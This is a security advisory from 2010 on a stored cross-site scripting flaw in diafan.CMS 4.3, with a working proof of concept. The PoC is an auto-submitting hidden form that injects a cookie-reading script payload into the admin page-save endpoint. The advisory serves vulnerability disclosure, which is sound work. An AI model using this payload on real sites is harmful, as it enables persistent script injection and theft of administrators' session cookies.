[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Stored XSS vulnerability in diafan.CMS



Vulnerability ID: HTB22776
Reference: 
http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_diafan_cms.html
Product: diafan.CMS
Vendor: Diafan ( http://www.diafan.ru/ ) 
Vulnerable Version: 4.3 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "http://host/admin/site/save2/"; 
script to properly sanitize user-supplied input in "text" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/site/save2/"; method="post" name="main" 
enctype="multipart/form-data" >
<input type="hidden" name="noOut" value="1">
<input type="hidden" name="save_post" value="1">
<input type="hidden" name="id" value="2">
<input type="hidden" name="name" value="page name">
<input type="hidden" name="act" value="1">
<input type="hidden" name="actm" value="1">
<input type="hidden" name="title_meta" value="title">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="descr" value="">
<input type="hidden" name="rewrite" value="sef_url">
<input type="hidden" name="addmodule" value="">
<input type="hidden" name="parent_id" value="">
<input type="hidden" name="sort" value="2">
<input type="hidden" name="theme" value="">
<input type="hidden" name="othurl" value="">
<input type="hidden" name="text" value='content 
html"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>